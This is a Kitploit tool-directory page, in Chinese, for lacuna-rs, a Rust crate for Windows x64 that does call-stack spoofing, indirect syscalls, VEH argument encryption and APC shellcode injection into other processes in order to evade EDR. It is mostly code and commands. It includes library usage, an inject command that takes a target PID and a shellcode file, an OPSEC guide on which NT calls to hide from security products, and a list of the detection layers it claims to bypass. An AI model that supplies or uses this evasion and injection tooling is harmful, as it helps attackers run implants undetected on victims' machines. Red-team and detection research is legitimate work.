Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
lacuna-rs — 用于Windows x64上的幽灵帧调用栈欺骗、运行时间接系统调用和APC注入的Rust crate。提供SSN解析、JIT存根生成和基于VEH的参数加密,用于绕过EDR。 | Kitploit
工具/GitHubGitHub/karkas66/lacuna-rs
Shellcode后渗透利用红队Payload 开发二进制利用
GitHubkarkas66/lacuna-rs

lacuna-rs

用于Windows x64上的幽灵帧调用栈欺骗、运行时间接系统调用和APC注入的Rust crate。提供SSN解析、JIT存根生成和基于VEH的参数加密,用于绕过EDR。

查看仓库
1811个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

lacuna-rs

Ghost-frame 调用栈欺骗 + 运行时间接系统调用,适用于 Windows x64 — 移植到 Rust。

从 Mohamed Alzhrani (0xmaz) 的 LACUNA Chain (lacuna_chain.c) 移植而来。

lacuna-rs 是一个可复用的 Rust crate,提供与原始 C TTP 相同的原语,结构设计使其可以轻松嵌入任何 Rust 项目 —— 类似于 wsyscall-rs 或 syscalls-rs,但具备运行时 SSN 解析、每个函数的 syscall;ret 定位以及幽灵帧栈欺骗。


关键:帧指针要求

如果使用 crate 的项目未编译帧指针,stack-spoof 功能将静默失效。

chain.rs 中的栈覆盖原语通过 mov rbp, {x} 内联汇编定位调用者的返回地址槽。这要求 RBP 链保持完整。Rust(以及大多数发布模式编译器)默认省略帧指针。

build.rs 为该 crate 自身的代码生成设置了 force-frame-pointers=yes,但 Cargo 无法将编译器标志传播到下游 crate。 您必须在自己项目的配置中添加:

root@kitploit:~
# .cargo/config.toml  (在 YOUR crate 中,而非 lacuna-rs 中)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

没有这个设置,stomp_plant() 将从 RBP 读取垃圾数据,导致无操作(最好情况)或损坏栈(最坏情况)。该 crate 无法在运行时检测帧指针是否启用 —— 它只会不工作。

如果您只需要扫描、SSN 解析或注入原语(不需要栈欺骗),则可以省略 stack-spoof 功能,此要求不适用。


它能做什么


特性标记

root@kitploit:~
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }

当没有启用任何特性时,仅提供扫描/PE/NT 层。


快速开始

扫描幽灵区域

root@kitploit:~
cargo run --example scan

构建并验证幽灵帧链

root@kitploit:~
cargo run --example verify --features stack-spoof

通过节 + APC 注入 shellcode

注入证明 使用真实植入物的注入示例 - C2 离线但 Shellcode 已执行

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

添加 --verbose 以启用 VEH 诊断输出(栈转储、寄存器打印):

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

线程评分算法

inject_sapc 不是向目标进程中的每个线程都排队 APC(当过多线程同时被通知时可能导致进程崩溃),而是使用评分算法选择最佳的 MAX_APC_THREADS(5)个候选:

  • 周期时间 — NtQueryInformationThread(ThreadCycleTime) — 主要活动指标
  • CPU 时间 — NtQueryInformationThread(ThreadTimes) — 内核 + 用户时间
  • 挂起计数 — NtQueryInformationThread(ThreadSuspendCount) — 未挂起线程获得 +300 奖励;每个挂起计数的线程获得 -150 惩罚
  • 优先级 — NtQueryInformationThread(ThreadBasicInformation) — 优先级 8-10 的线程获得 +150 奖励;范围外的优先级获得 -100 惩罚

完全空闲的线程(零周期和零 CPU 时间)将被跳过。剩余的候选者按分数排序(从高到低,平局时依据周期数),并截取前 5 个。


作为库使用

基础:扫描 + SSN 解析

root@kitploit:~
use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// 扫描幽灵区域
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("ntdll 中有 {} 个幽灵区域", n);

// 解析特定函数的 SSN + syscall;ret
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

为任意 NT API 发射间接系统调用桩

root@kitploit:~
use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// 解析 SSN + 函数自身的 syscall;ret 地址
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT 发射桩:mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (如果调用了 build_chain,则变为 jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("桩分配失败");

// 转换为匹配的函数指针类型并调用
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

构建幽灵帧链 + 注册 VEH

root@kitploit:~
// 扫描 ntdll/kernelbase/wow64/win32u 以获取幽灵区域并构建
// 六层假调用栈。设置 G_GHOST_GADGET,使桩通过已签名 DLL 中的 JMP [RBX] 路由。
lacuna::chain::build_chain();

// 注册 VEH 处理程序(参数加密 + 链保护)
let _veh = lacuna::veh::VehGuard::register().expect("VEH 注册失败");

// 可选:在运行时启用详细诊断
lacuna::veh::set_verbose(true);

使用栈欺骗 + 参数加密包装敏感系统调用

root@kitploit:~
use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// 种植幽灵帧(用已签名 DLL 的幽灵替换返回地址)
lacuna::chain::stomp_plant();

// 在 syscall;ret 上装备 DR0 —— VEH 将在边界处 XOR 解密参数
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// 通过间接桩调用 —— RIP 将位于 ntdll 的内核入口处
let _status = unsafe { open_proc(/* XOR 加密的参数 */) };

// 在任何非保护调用之前始终解除装备
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC:哪些调用应隐藏在幽灵帧之后

并非每个 API 调用都需要完整的 LACUNA 处理。关键原则是:隐藏那些 EDR 会关联为注入或后利用活动痕迹的调用。

必须位于间接系统调用 + 幽灵帧 + 参数加密之后

这些是 EDR 挂钩并关联的“皇冠上的明珠”NT 系统调用:

对于以上每个调用:

  1. 使用 nt::resolve(ntdll, b"NtXxx\0") 解析
  2. 使用 stub::make_stub(ssn, syscall_ret) 发射桩
  3. 使用 veh::pcrypt_arm(key, syscall_ret, true) 对敏感参数进行 XOR 加密
  4. 将调用包装在 chain::stomp_plant() 和 chain::stomp_restore() 之间

可以直接调用(无需幽灵帧)

关键原则

  1. 解析 任何 NT 系统调用使用 nt::resolve(ntdll, b"NtXxx\0") —— 返回 (SSN, syscall_ret_VA)。
  2. 发射 JIT 桩使用 stub::make_stub(ssn, syscall_ret) —— 返回可调用的函数指针。
  3. 转换 桩为适当的 extern "system" fn(...) 类型,使用 core::mem::transmute。
  4. (仅敏感调用) 使用 chain::build_chain() 构建幽灵帧链,并在调用前后调用 chain::stomp_plant() / chain::stomp_restore()。
  5. (仅敏感调用) 在调用前使用 veh::pcrypt_arm(key, syscall_ret, true) 装备参数加密,调用后使用 veh::pcrypt_disarm()。
  6. 始终在发出非保护调用前解除 VEH 装备 —— 未装备的 syscall 上意外的 DR0 命中将导致崩溃。
  7. 所有输出字符串必须用 lc!() 包裹 —— crate 强制执行此规则,VEH 诊断受 set_verbose(true) 控制,默认关闭。

桩自动处理 mov r10, rcx / mov eax, SSN / jmp [syscall;ret] 序列。如果注册了幽灵 gadget,桩将通过 JMP [RBX] 路由,实现双重用途的执行重定向 + 零痕迹桥帧。


技术文章覆盖验证

来自 LACUNA Chain 技术文章 的 9 项关键贡献均在代码中体现:

检测面覆盖


为什么不直接使用 syscalls-rs?

syscalls-rs 和 wsyscall-rs 从特定 Windows 构建版本的 ntdll 生成构建时 SSN 表。如果目标机器运行不同的构建版本,SSN 将错误,系统调用失败(或触发 EDR 启发式规则)。

lacuna-rs 通过直接读取 ntdll 的桩在运行时解析 SSN,并定位到函数自身的 syscall;ret 指令,使得 RIP 位于 ntdll 的内核入口处 —— 从而绕过 EDR 的 "SSN 不匹配" 和 "来自未支持内存的间接系统调用" 启发式规则。

此外,lacuna-rs 提供了 syscalls-rs 不具备的幽灵帧栈欺骗链。


构建要求

  • 目标平台: x86_64-pc-windows-msvc (或 x86_64-pc-windows-gnu)
  • Rust 版本: 2021
  • 依赖: litcrypt2 (编译时字符串混淆)

帧指针设置(仅 stack-spoof 需要)

stack-spoof 特性需要帧指针。build.rs 会自动为此 crate 自身的代码生成设置 force-frame-pointers=yes,但消费 crate 也必须在其 .cargo/config.toml 中设置:

root@kitploit:~
# .cargo/config.toml (在消费 crate 中)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

litcrypt2 字符串混淆

crate 和示例中所有字符串字面量均用 lc!() 宏包裹,这些宏在编译时加密字符串,运行时解密。加密密钥从 LITCRYPT_ENCRYPT_KEY 环境变量读取;如果未设置,litcrypt2 会自动生成随机密钥。

要固定密钥以获得可重现的构建:

root@kitploit:~
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build

架构

root@kitploit:~
lacuna-rs/
├── Cargo.toml
├── build.rs              # 为 stack-spoof 设置 force-frame-pointers
├── src/
│   ├── lib.rs            # crate 根 + 重导出 + scan_all() + litcrypt2 设置
│   ├── win.rs            # Win32/NT FFI 绑定 (no_std 兼容)
│   ├── pe.rs             # PE 节 + 导出解析
│   ├── scan.rs           # .pdata 幽灵区域 + gadget 扫描
│   ├── nt.rs             # SSN 解析 + syscall;ret 定位
│   ├── stub.rs           # JIT 间接系统调用桩发射
│   ├── veh.rs            # VEH + 硬件断点参数加密
│   ├── chain.rs          # LACUNA 幽灵帧链 + 覆盖
│   └── inject.rs         # 基于节的 APC 注入
├── examples/
│   ├── scan.rs           # lacuna.exe scan
│   ├── verify.rs         # lacuna.exe verify
│   └── inject.rs         # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
    └── config.toml       # force-frame-pointers + windows-msvc target

致谢

  • 原始研究及 C 实现: Mohamed Alzhrani (0xmaz) —— LACUNA Chain
  • 技术: Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae
  • 最佳 APC 线程逻辑: 改编自 FrankensteinAPCInjection by S12cybersecurity
  • 字符串混淆: litcrypt2 v0.1.3

完全披露

本项目得到 AI 聊天机器人的积极协助。我有机会测试一个更新、能力更强的开源模型(GLM-5.2 by Z.ai (Zhipu AI)),并希望给它一个有挑战性的任务。 经验教训:如果人类知道结果应该是什么样子,它工作得很好。否则……只有垃圾。

许可证

MIT

下载工具
原语C 函数Rust 模块
PE 节 + 导出解析pe_section(), pe_export()pe
.pdata 幽灵区域扫描scan_ghosts(), best_ghost()scan
幽灵 gadget 发现 (jmp [rbx])scan_ghost_gadgets()scan
win32u NOP-gap 查找器win32u_nop_gap()scan
BYOUD-MF 锚点查找器find_mf_target()scan
SSN 解析(Hell's Gate / Halo's Gate)resolve_ssn()nt
每个函数的 syscall;ret 定位器find_func_syscall()nt
JIT 间接系统调用桩发射alloc_stub()stub
幽灵 gadget 桩重定向(位于 alloc_stub() 中)stub
VEH + 硬件断点参数加密param_encrypt_veh(), pcrypt_arm()veh
链保护 VEHchain_veh()veh
LACUNA 链构建build_chain()chain
栈覆盖(BYOUD-RT)stomp_plant(), stomp_restore()chain
链行走器(验证)lacuna_walk_chain()chain
基于节的 APC 注入do_inject_sapc()inject
特性描述需要帧指针?
syscalls (默认)SSN 解析 + JIT 桩发射否
inject (默认)基于节的 APC 注入 (inject::inject_sapc)否
vehVEH + 硬件断点参数加密否
stack-spoofLACUNA 幽灵帧链 + 栈覆盖是
no-stdno_std 模式(实验性)否
调用为何敏感
NtOpenProcess打开另一个进程的句柄 —— 注入的第一步
NtCreateSection + NtMapViewOfSection (远程)基于节的注入签名
NtWriteVirtualMemory跨进程写入 —— 经典注入指示器
NtCreateThreadEx远程线程创建 —— 最高信号的注入原语
NtQueueApcThreadAPC 注入 —— 高信号
NtProtectVirtualMemoryRWX 权限更改 —— shellcode 暂存指示器
NtAllocateVirtualMemory (远程)远程分配 —— 注入前奏
NtSetInformationThread线程隐藏 (HideFromDebugger) —— 逃避指示器
调用为何安全
NtQueryInformationThread仅查询,很少被挂钩,无跨进程写入
NtDelayExecution休眠 —— 良性,每个应用程序都在使用
NtClose关闭句柄 —— 良性,极为常见
GetModuleHandleA / GetProcAddress模块解析 —— 不是系统调用,EDR 用户态挂钩无法挂钩
CreateToolhelp32Snapshot / Thread32First / Thread32Next线程枚举 —— kernel32,不是 ntdll 系统调用
OpenThread / CloseHandle标准句柄操作 —— kernel32
GetThreadContext / SetThreadContext需要用于 DR0 —— kernel32,仅自进程
#文章概念代码位置描述
1BYOUD-Gap (零 .pdata 修改)chain.rs —— 幽灵帧链构建利用 RUNTIME_FUNCTION 条目之间的空隙;展开器将其视为叶帧 (RSP += 8)
2ETW-Ti APC 窗口攻击inject.rs —— NtDelayExecution 可警报 drain通过操纵线程可警报状态控制 ETW-Ti APC 栈快照触发的时机
3BYOUD 上下文中的参数加密veh.rs —— pcrypt_arm(), param_encrypt_veh()在暂存阶段对系统调用参数进行 XOR 加密;在硬件断点 VEH 的 syscall 指令处解密
4Win32u NOP 间隙链 + 幽灵 gadgetscan.rs —— win32u_nop_gap(), scan_ghost_gadgets()win32u.dll 中的 1,242 个 NOP 间隙提供白名单叶帧;ntdll+0xFC47B 处的 JMP [RBX] 幽灵 gadget
5kernelbase 语义幽灵邻近性chain.rs —— L2_kbase 层,靠近 VirtualProtect以 VirtualProtect 入口点结束的 238 字节幽灵 —— 与真实 VP 返回地址无法区分
6BYOUD-MF (机器帧 RSP 传送)chain.rs —— MachFrame 结构体,scan.rs —— find_mf_target()利用 KiUser* 调度器中的 UWOP_PUSH_MACHFRAME (操作码 10) 实现单个帧内的任意 RSP 传送
7BYOUD-RT (运行时 RSP 计算)chain.rs —— teb_stack_base(), teb_stack_limit()在调用时读取 TEB.StackBase (GS:[0x08]) 以计算精确的帧距离 —— 无需预先校准
8wow64.dll 幽灵邻近性chain.rs —— L1_wow64 层,scan.rs —— 目标 Wow64PrepareForException以 Wow64PrepareForException 入口点结束的 91 字节幽灵 —— 链的第四语义层
9六层 LACUNA 链chain.rs —— LacunaStack 结构体 (L1-L5 + MachFrame)完整链:KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart
检测层状态实现
来源模块检查已绕过所有帧均在 ntdll / kernelbase / wow64 / win32u 中
展开遍历正确性已绕过所有 lacuna 帧均为叶 -> 有效 RSP+8
.pdata 取证扫描已绕过零修改;利用的是预先存在的空隙
CET 影子栈已绕过纯叶链;不查询影子栈
语义帧分析已绕过WoW64 异常 + VirtualProtect 邻近性
Win32u 规则豁免已绕过第 4 层被所有规则显式排除
ETW-Ti STACKWALK已绕过APC 窗口攻击控制快照时机
参数检查已绕过HW 断点 VEH 解密
内核回调部分句柄操作仍然触发 ObRegisterCallbacks